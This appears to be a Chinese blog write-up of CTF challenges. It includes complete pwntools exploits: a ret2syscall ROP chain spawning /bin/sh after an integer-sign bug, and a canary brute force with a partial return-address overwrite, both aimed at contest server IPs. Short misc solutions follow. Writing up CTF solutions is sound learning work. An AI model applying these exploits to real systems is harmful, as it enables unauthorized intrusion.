Share this post on:

Pwn

烧烤摊儿

程序分析

chuan和pijiu两个函数都有对边界检查不严格的漏洞

image-20230528160947372

money是int型,可以输入负数,则money还可以不减反增

vip函数有own,只要money达到100000则可以使own=1进入gaiming

gaiming中scanf没有限制读入长度,并且将读入的数据保存在栈上,可以溢出

image-20230528161126177

利用

综上,由于程序是静态链接没有libc泄露,则通过ret2syscall打

一个意外情况是有些syscall可以,有些又不行,很奇怪

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('123.56.238.150', 43786)
# p = process('./shaokao')
elf = ELF('./shaokao')
# gdb.attach(p)

p.sendlineafter('> ', b'2')
# p.sendline(b'2')
# pause()
p.sendlineafter('3. 鸡肉串\n', b'1')
# pause()
p.sendlineafter('来几串?\n', b'-20000')
# pause()
p.sendlineafter('> ', b'4')
# gdb.attach(p)
# p.send(b'4')
p.sendlineafter('> ', b'5')
pop_rax = 0x458827
pop_rax_rdx_rbx = 0x4a404a
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
# syscall = 0x402404
syscall = 0x4037D9
sh_addr = 0x4b7795
# int_0x80 = 0x4aa6e0
name_addr = 0x4e60f0
binsh = 0x4E60F0

payload = b'/bin/sh\x00' + b'A'*(24+8) 
payload += p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rax_rdx_rbx) + p64(59) + p64(0)*2 + p64(syscall)

# pause()
p.sendlineafter('烧烤摊儿已归你所有,请赐名:\n', payload)
# 0x401f5c

p.interactive()

funcanary

程序分析

根据题目,应该是与canary有关

image-20230528161628204

发现有fork函数,fork创建的子进程中canary值也不会被改名,则直接想到可以爆破canary

还发现了有栈溢出

image-20230528161813997

观察函数窗口,发现调用了system函数,寻找一下发现了后门函数

image-20230528161848100

image-20230528161912304

那么只需要控制返回地址到这儿就行

由于开启了PIE,而返回地址和后门函数地址只有倒数第二个字节的差距,则考虑可以爆破倒数第二个字节劫持程序执行流到后门函数

利用

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote('123.57.248.214', 13625)
# p = process('./funcanary')
# gdb.attach(p)
elf = ELF('./funcanary')
libc = ELF('./2.34-0ubuntu3_amd64/libc.so.6')

p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        print("the " + str(k) + ": " + chr(i))
        p.send(b'a' * 0x68 + canary + bytes([i]))
        a = p.recvuntil("welcome\n")
        print(a)
        if "fun" in str(a):
                canary += bytes([i])
                print("canary: " + str(canary))
                break

print("next")
print("canary: " + str(canary))
# gdb.attach(p)

payload = b'B'*0x68 + canary + b'C'*8 + b'\x28'
x = [b'\x02', b'\x12', b'\x22', b'\x32', b'\x42', b'\x52', b'\x62', b'\x72', b'\x82', b'\x92', b'\xa2', b'\xb2', b'\xc2', b'\xd2', b'\xe2', b'\xf2']
for i in x:
    payload2 = payload
    payload2 += i
    print(i)
    p.send(payload2)
    a = p.recvuntil("welcome\n")

p.interactive()

# 0x5555555552e8
# 0x555555555324 call read
# 0x55555555528a read

Misc

被加密的生产流量

根据题目提示,应该是寻找关键信息然后解密

根据经验一般是追踪TCP流

image-20230528162446961

将这段当中的字符提取出来

MMYWMX3GNEYWOXZRGAYDA===

看见==想到base64和base32

base64解码出来是乱码,则是base32了

c1f_fi1g_1000

pyshell

限制了读入字符数,想办法通过shell读出flag文件

img

Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注